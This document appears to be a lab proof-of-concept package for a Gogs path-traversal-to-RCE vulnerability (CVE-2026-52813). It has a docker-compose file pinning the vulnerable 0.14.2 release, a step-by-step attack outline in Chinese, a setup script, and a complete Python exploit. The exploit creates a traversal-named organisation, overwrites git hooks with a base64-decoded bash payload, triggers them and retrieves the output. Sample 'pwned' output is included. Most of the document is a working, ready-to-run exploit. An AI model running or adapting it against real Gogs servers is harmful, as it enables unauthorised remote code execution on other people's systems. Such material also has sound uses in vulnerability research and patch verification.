// internal/database/org.go
os.MkdirAll(repox.UserPath(org.Name))

services:
  db:
    image: postgres:16-alpine
    environment:
      POSTGRES_USER: gogs
      POSTGRES_PASSWORD: gogs
      POSTGRES_DB: gogs
    volumes:
      - postgres-data:/var/lib/postgresql/data
    healthcheck:
      test: [ \"CMD-SHELL\", \"pg_isready -U gogs -d gogs\" ]
      interval: 5s
      timeout: 5s
      retries: 5

  gogs:
    # Pinned to 0.14.2 — last VULNERABLE release for CVE-2026-52813
    image: gogs/gogs:0.14.2
    depends_on:
      db:
        condition: service_healthy
    ports:
      - \"3000:3000\"
    volumes:
      - gogs-data:/data
    restart: unless-stopped

volumes:
  gogs-data:
  postgres-data:

docker compose up -d

step 1  attacker 申请 API token（basic auth 换 sha1 token）
step 2  建 writer 仓库（普通个人仓库），Gogs 在 local-r/<n>/ 给它建工作副本
step 3  Web 编辑器往 writer 丢一个文件，触发 local-r 工作副本生成
step 4  查出 writer 的 repo id = n
step 5  建组织：username = ../../../../data/gogs/data/tmp/local-r/<n>/nested  ← 穿越点
step 6  GET 组织确认 422 已消失（即穿越名被接受）
step 7  在该组织下建 rce 仓库 —— 它的 .git 目录被写进 writer 的工作副本里
step 8  GET rce 仓库确认存在
step 9  往 writer 丢文件，强制 resync：把 nested/<rce>.git/ 连同可执行钩子提交进 writer 树
step 10 clone writer 到本地
step 11 覆写 nested/<rce>.git/hooks/{post-receive,update} 为 payload
step 12 push writer
step 13 再次 resync：把可执行的恶意 post-receive 落到 rce 裸仓库的磁盘上
step 14 往 rce 仓库写文件触发 hook → Gogs 推送 → post-receive 执行 → 落盘 CMD_OUTPUT
step 15 第三次 resync：把磁盘上的 CMD_OUTPUT 提交进 writer 树
step 16 GET writer 的 raw 文件读出命令执行结果

echo '<base64(COMMAND)>' | base64 -d | bash > pwned

uid=1000(git) gid=1000(git) groups=1000(git)

PWNED_BY=git ON=cee09eb74aa7 KERNEL=Linux 6.6.87.2-microsoft-standard-WSL2
PRETTY_NAME=\"Alpine Linux v3.21\"

422 {\"message\":\"invalid org name\",\"url\":\"...\"}

hook_paths = [Path(ORG_NAME) / f\"{REPO_NAME}.git\" / \"hooks\" / h
              for h in (\"post-receive\", \"update\")]

services:
  db:
    image: postgres:16-alpine
    environment:
      POSTGRES_USER: gogs
      POSTGRES_PASSWORD: gogs
      POSTGRES_DB: gogs
    volumes:
      - postgres-data:/var/lib/postgresql/data
    restart: unless-stopped
    healthcheck:
      test: [ \"CMD-SHELL\", \"pg_isready -U gogs -d gogs\" ]
      interval: 5s
      timeout: 5s
      retries: 5

  gogs:
    # Pinned to 0.14.2 — last VULNERABLE release for CVE-2026-52813 / GHSA-c39w-43gm-34h5
    # (org-name path traversal -> RCE). Fixed in 0.14.3.
    image: gogs/gogs:0.14.2
    depends_on:
      db:
        condition: service_healthy
    ports:
      - \"3000:3000\"
    volumes:
      - gogs-data:/data
    restart: unless-stopped

volumes:
  gogs-data:
  postgres-data:

\"\"\"Bootstrap a fresh Gogs instance for the GHSA-c39w-43gm-34h5 PoC.

Steps:
  1. Wait for Gogs to come up and expose /install.
  2. POST the installer form (PostgreSQL at db:5432 + admin account `gogs/gogs`).
  3. Wait until install completes.
  4. Mint an admin API token and create the `attacker/attacker` user via the admin API
     (avoids the self-registration CAPTCHA entirely).
\"\"\"
from __future__ import annotations

import re
import sys
import time

import requests

GOGS_BASE = \"http://localhost:3000\"
ADMIN_USER = \"gogs\"
ADMIN_PASS = \"gogspass\"
ADMIN_EMAIL = \"[email protected]\"
ATTACKER_USER = \"attacker\"
ATTACKER_PASS = \"attacker\"
ATTACKER_EMAIL = \"[email protected]\"

s = requests.Session()

def wait_for(url: str, *, want_installable: bool = False, timeout: int = 180) -> None:
    deadline = time.time() + timeout
    while time.time() < deadline:
        try:
            r = s.get(url, allow_redirects=False, timeout=5)
        except requests.RequestException:
            time.sleep(2)
            continue
        if r.status_code in (200, 302):
            if want_installable:
                loc = r.headers.get(\"Location\", \"\")
                if r.status_code == 302 and loc.endswith(\"/install\"):
                    return
                if r.status_code == 200 and \"/install\" in r.text:
                    return
            else:
                return
        time.sleep(2)
    raise SystemExit(f\"timed out waiting for {url}\")

def csrf_from(html: str) -> str | None:
    for pat in (
        r'<input[^>]+name=\"_csrf\"[^>]+value=\"([^\"]+)\"',
        r'<meta name=\"_csrf\" content=\"([^\"]+)\"',
    ):
        m = re.search(pat, html)
        if m:
            return m.group(1)
    return None

def do_install() -> None:
    # Gogs serves / on a fresh instance by redirecting to /install
    r = s.get(f\"{GOGS_BASE}/install\", timeout=10)
    print(\"[install] GET /install ->\", r.status_code)
    csrf = csrf_from(r.text)
    form = {
        \"db_type\": \"PostgreSQL\",
        \"db_host\": \"db:5432\",
        \"db_user\": \"gogs\",
        \"db_passwd\": \"gogs\",
        \"db_name\": \"gogs\",
        \"db_schema\": \"public\",
        \"ssl_mode\": \"disable\",
        \"db_path\": \"\",
        \"app_name\": \"Gogs\",
        \"repo_root_path\": \"/data/git/gogs-repositories\",
        \"run_user\": \"git\",
        \"domain\": \"localhost\",
        \"ssh_port\": \"22\",
        \"use_builtin_ssh_server\": \"\",
        \"http_port\": \"3000\",
        \"app_url\": f\"{GOGS_BASE}/\",
        \"log_root_path\": \"/app/gogs/log\",
        \"enable_console_mode\": \"on\",
        \"default_branch\": \"master\",
        \"smtp_host\": \"\",
        \"smtp_from\": \"\",
        \"smtp_user\": \"\",
        \"smtp_passwd\": \"\",
        \"register_confirm\": \"off\",
        \"mail_notify\": \"off\",
        \"offline_mode\": \"on\",
        \"disable_gravatar\": \"on\",
        \"enable_federated_avatar\": \"off\",
        \"disable_registration\": \"off\",
        \"enable_captcha\": \"off\",
        \"require_sign_in_view\": \"off\",
        \"admin_name\": ADMIN_USER,
        \"admin_passwd\": ADMIN_PASS,
        \"admin_confirm_passwd\": ADMIN_PASS,
        \"admin_email\": ADMIN_EMAIL,
    }
    if csrf:
        form[\"_csrf\"] = csrf
    r = s.post(f\"{GOGS_BASE}/install\", data=form, allow_redirects=False, timeout=30)
    print(\"[install] POST /install ->\", r.status_code, r.headers.get(\"Location\", \"\"))

def install_done() -> bool:
    r = s.get(f\"{GOGS_BASE}/\", allow_redirects=False, timeout=10)
    loc = r.headers.get(\"Location\", \"\")
    # Once configured, / no longer redirects to /install
    return not loc.endswith(\"/install\")

def admin_token() -> str:
    # Gogs restarts internally right after install; basic auth may 401 briefly.
    # Use a FRESH session so install-flow cookies don't shadow HTTP basic auth.
    fs = requests.Session()
    last = None
    for _ in range(20):
        r = fs.post(
            f\"{GOGS_BASE}/api/v1/users/{ADMIN_USER}/tokens\",
            auth=(ADMIN_USER, ADMIN_PASS),
            json={\"name\": \"bootstrap\"},
            timeout=10,
        )
        if r.ok:
            print(\"[admin] create token ->\", r.status_code)
            sha1 = r.json().get(\"sha1\")
            if not sha1:
                raise SystemExit(\"admin token response missing sha1\")
            return sha1
        last = f\"{r.status_code} {r.text[:120]}\"
        time.sleep(2)
    raise SystemExit(f\"admin token creation failed after retries: {last}\")

def create_attacker(token: str) -> None:
    fs = requests.Session()
    r = fs.post(
        f\"{GOGS_BASE}/api/v1/admin/users\",
        headers={\"Authorization\": f\"token {token}\"},
        json={
            \"username\": ATTACKER_USER,
            \"email\": ATTACKER_EMAIL,
            \"password\": ATTACKER_PASS,
            \"source_id\": 0,
            \"login_name\": \"\",
        },
        timeout=10,
    )
    print(\"[admin] create attacker ->\", r.status_code)
    if r.status_code == 422:
        print(\"    (already exists?)\", r.text[:200])
        return
    r.raise_for_status()

def main() -> None:
    print(\"waiting for Gogs to come up...\")
    wait_for(f\"{GOGS_BASE}/\", want_installable=True)
    do_install()
    # Gogs restarts internally after install; wait until it stops redirecting to /install
    deadline = time.time() + 120
    while time.time() < deadline:
        try:
            if install_done():
                break
        except requests.RequestException:
            pass
        time.sleep(2)
    else:
        raise SystemExit(\"install did not complete in time\")

    # Let Gogs finish its post-install internal restart before hitting the API.
    time.sleep(8)

    token = admin_token()
    create_attacker(token)
    print(\"setup complete: admin=gogs attacker=attacker\")

if __name__ == \"__main__\":
    sys.exit(main())

\"\"\"PoC for GHSA-c39w-43gm-34h5 / CVE-2026-52813
   Path Traversal in organization name -> RCE via Git hooks (Gogs < 0.14.3).

Adapted from the advisory's gist (https://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9)
for an attacker running on Windows. Two changes vs. the original:

  1. We overwrite the *already-executable* `post-receive` hook (created by Gogs'
     `git init` at mode 100755) instead of creating a *new* `update` hook.
     Reason: Windows git has core.fileMode=false, so a freshly-added file is staged
     as 100644 (non-executable) and git refuses to run it. Modifying an existing
     100755 file preserves the executable bit through `git add`/push. We still also
     write `update` so the PoC works unchanged on a Linux attacker host.
  2. We force a writer-repo resync right after creating the traversal repo, so the
     writer's git tree (and thus our clone) already contains `nested/<rce>.git/hooks/`
     with executable hooks before we overwrite them.
\"\"\"
from __future__ import annotations

import base64
import os
import re
import subprocess
import tempfile
import uuid
from pathlib import Path
from urllib.parse import quote, urlsplit, urlunsplit
from base64 import b64encode

import requests

GOGS_BASE = \"http://localhost:3000\"
USERNAME = \"attacker\"
PASSWORD = \"attacker\"
COMMAND = \"id\"

REPO_NAME = f\"rce-{uuid.uuid4().hex[:8]}\"
WRITER_REPO_NAME = f\"writer-{uuid.uuid4().hex[:8]}\"
ORG_NAME = \"nested\"
CMD_OUTPUT = \"pwned\"
HOOK_BODY = f\"echo '{b64encode(COMMAND.encode()).decode()}' | base64 -d | bash > {CMD_OUTPUT}\
\"

s = requests.Session()

def e(part: str) -> str:
    return quote(part, safe=\"\")

def _csrf_from_meta(html: str) -> str:
    m = re.search(r'<meta name=\"_csrf\" content=\"([^\"]+)\"', html)
    if not m:
        raise SystemExit(\"missing _csrf meta in HTML\")
    return m.group(1)

def _web_login() -> None:
    login_url = f\"{GOGS_BASE}/user/login\"
    r = s.get(login_url)
    r.raise_for_status()
    csrf = _csrf_from_meta(r.text)
    r = s.post(
        login_url,
        data={\"_csrf\": csrf, \"user_name\": USERNAME, \"password\": PASSWORD, \"login_source\": \"0\"},
    )
    r.raise_for_status()

def add_file_via_web_editor(username: str, repo_name: str, path: str, content: str, *, branch: str = \"master\") -> None:
    saved_auth = s.headers.pop(\"Authorization\", None)
    try:
        _web_login()
        new_url = f\"{GOGS_BASE}/{username}/{repo_name}/_new/{branch}/\"
        r = s.get(new_url)
        r.raise_for_status()
        page = r.text
        csrf = _csrf_from_meta(page)
        m = re.search(r'name=\"last_commit\"\\s+value=\"([^\"]+)\"', page)
        if not m:
            raise SystemExit(\"missing last_commit on new-file page\")
        r = s.post(
            new_url,
            data={
                \"_csrf\": csrf, \"last_commit\": m.group(1), \"tree_path\": path,
                \"content\": content, \"commit_summary\": \"\", \"commit_message\": \"\",
                \"commit_choice\": \"direct\", \"new_branch_name\": \"\",
            },
        )
        r.raise_for_status()
    finally:
        if saved_auth is not None:
            s.headers[\"Authorization\"] = saved_auth

def _writer_repo_id() -> int:
    r = s.get(f\"{GOGS_BASE}/api/v1/repos/{USERNAME}/{WRITER_REPO_NAME}\")
    r.raise_for_status()
    rid = r.json().get(\"id\")
    if rid is None:
        raise SystemExit(\"GET writer repo: missing id in JSON\")
    return int(rid)

def _authed_git_clone_url() -> str:
    p = urlsplit(GOGS_BASE)
    repo_path = f\"{p.path.rstrip('/')}/{USERNAME}/{WRITER_REPO_NAME}.git\"
    return urlunsplit((p.scheme, f\"{USERNAME}:{PASSWORD}@{p.netloc}\", repo_path, \"\", \"\"))

def _git_run(args: list[str], *, cwd: str | None = None) -> None:
    env = os.environ.copy()
    env.setdefault(\"GIT_TERMINAL_PROMPT\", \"0\")
    subprocess.run(args, check=True, cwd=cwd, env=env)

def _put_file_contents_api(owner: str, reponame: str, file_path: str, text: str, message: str) -> None:
    url = f\"{GOGS_BASE}/api/v1/repos/{e(owner)}/{reponame}/contents/{quote(file_path, safe='/')}\"
    r = s.put(url, json={\"message\": message, \"content\": base64.standard_b64encode(text.encode()).decode(), \"branch\": \"master\"})
    r.raise_for_status()

def _apply_api_token() -> None:
    tok = s.post(f\"{GOGS_BASE}/api/v1/users/{USERNAME}/tokens\", auth=(USERNAME, PASSWORD), json={\"name\": f\"poc-{uuid.uuid4().hex[:12]}\"})
    tok.raise_for_status()
    sha1 = tok.json().get(\"sha1\")
    if not sha1:
        raise SystemExit(\"token response missing sha1\")
    s.headers[\"Authorization\"] = f\"token {sha1}\"

def main() -> None:
    _apply_api_token()
    print(\"step 1 token ok\")

    cw = s.post(f\"{GOGS_BASE}/api/v1/user/repos\", json={
        \"name\": WRITER_REPO_NAME, \"description\": \"personal writer repo for poc\",
        \"private\": False, \"auto_init\": True, \"readme\": \"Default\",
    })
    cw.raise_for_status()
    print(\"step 2 create writer repo\", cw.status_code, cw.json().get(\"full_name\"))

    add_file_via_web_editor(USERNAME, WRITER_REPO_NAME, \"dummy\", \"dummy\")
    print(\"step 3 web editor new file on\", USERNAME, \"/\", WRITER_REPO_NAME)

    n = _writer_repo_id()
    print(\"step 4 writer repo -> local-r\", n)

    org_name = f\"../../../../data/gogs/data/tmp/local-r/{n}/\" + ORG_NAME
    co = s.post(f\"{GOGS_BASE}/api/v1/user/orgs\", json={\"username\": org_name, \"full_name\": \"deep\"})
    co.raise_for_status()
    print(\"step 5 create org\", co.status_code, \"username\", co.json().get(\"username\"))

    s.get(f\"{GOGS_BASE}/api/v1/orgs/{e(org_name)}\").raise_for_status()
    print(\"step 6 get org ok\")

    cr = s.post(f\"{GOGS_BASE}/api/v1/org/{e(org_name)}/repos\", json={
        \"name\": REPO_NAME, \"description\": \"poc\", \"private\": False, \"auto_init\": True, \"readme\": \"Default\",
    })
    cr.raise_for_status()
    print(\"step 7 create rce repo\", cr.status_code, \"full_name\", cr.json().get(\"full_name\"))

    s.get(f\"{GOGS_BASE}/api/v1/repos/{e(org_name)}/{REPO_NAME}\").raise_for_status()
    print(\"step 8 get rce repo ok\")

    # Resync the writer worktree so nested/<rce>.git/ (with executable hooks) is committed
    # into the writer tree BEFORE we clone + overwrite the hooks.
    _put_file_contents_api(USERNAME, WRITER_REPO_NAME, \"resync1.txt\", \"resync after rce create\
\", \"poc: resync1\")
    print(\"step 9 writer resync (commit nested/<rce>.git into writer tree)\")

    hook_paths = [Path(ORG_NAME) / f\"{REPO_NAME}.git\" / \"hooks\" / h for h in (\"post-receive\", \"update\")]
    clone_dir = tempfile.mkdtemp(prefix=\"poc-writer-\")
    _git_run([\"git\", \"clone\", _authed_git_clone_url(), clone_dir])
    print(\"step 10 clone writer ->\", clone_dir)
    _git_run([\"git\", \"config\", \"user.email\", \"[email protected]\"], cwd=clone_dir)
    _git_run([\"git\", \"config\", \"user.name\", \"poc\"], cwd=clone_dir)
    for hp in hook_paths:
        full = Path(clone_dir) / hp
        full.parent.mkdir(parents=True, exist_ok=True)
        full.write_text(HOOK_BODY, encoding=\"utf-8\")
    _git_run([\"git\", \"add\", \"-A\"], cwd=clone_dir)
    _git_run([\"git\", \"commit\", \"-m\", f\"poc: overwrite {ORG_NAME}/{REPO_NAME}.git hooks\"], cwd=clone_dir)
    print(\"step 11 write hooks:\", \", \".join(str(hp) for hp in hook_paths), \"->\", HOOK_BODY.strip())
    _git_run([\"git\", \"push\", \"origin\", \"master\"], cwd=clone_dir)
    print(\"step 12 push writer\")

    # Resync again: propagate the malicious (executable) post-receive onto disk in the rce bare repo.
    _put_file_contents_api(USERNAME, WRITER_REPO_NAME, \"resync2.txt\", \"propagate hook\
\", \"poc: resync2\")
    print(\"step 13 writer resync (propagate malicious hook to rce bare on disk)\")

    # Trigger the rce repo: Gogs pushes to it -> our post-receive fires -> CMD_OUTPUT is written.
    _put_file_contents_api(org_name, REPO_NAME, \"trigger.txt\", \"trigger the hook\
\", \"poc: trigger rce\")
    print(\"step 14 trigger rce repo (hook should fire)\")

    # Resync writer so CMD_OUTPUT (now on disk in nested/<rce>.git/) gets committed into the writer tree.
    _put_file_contents_api(USERNAME, WRITER_REPO_NAME, \"resync3.txt\", \"commit output\
\", \"poc: resync3\")
    print(\"step 15 writer resync (commit CMD_OUTPUT into writer tree)\")

    url = f\"{GOGS_BASE}/{USERNAME}/{WRITER_REPO_NAME}/raw/master/{ORG_NAME}/{REPO_NAME}.git/{CMD_OUTPUT}\"
    r = s.get(url)
    print(\"step 16 GET raw output\", r.status_code, url)
    r.raise_for_status()
    print(\"\
=== COMMAND OUTPUT ===\")
    print(r.text)

if __name__ == \"__main__\":
    main()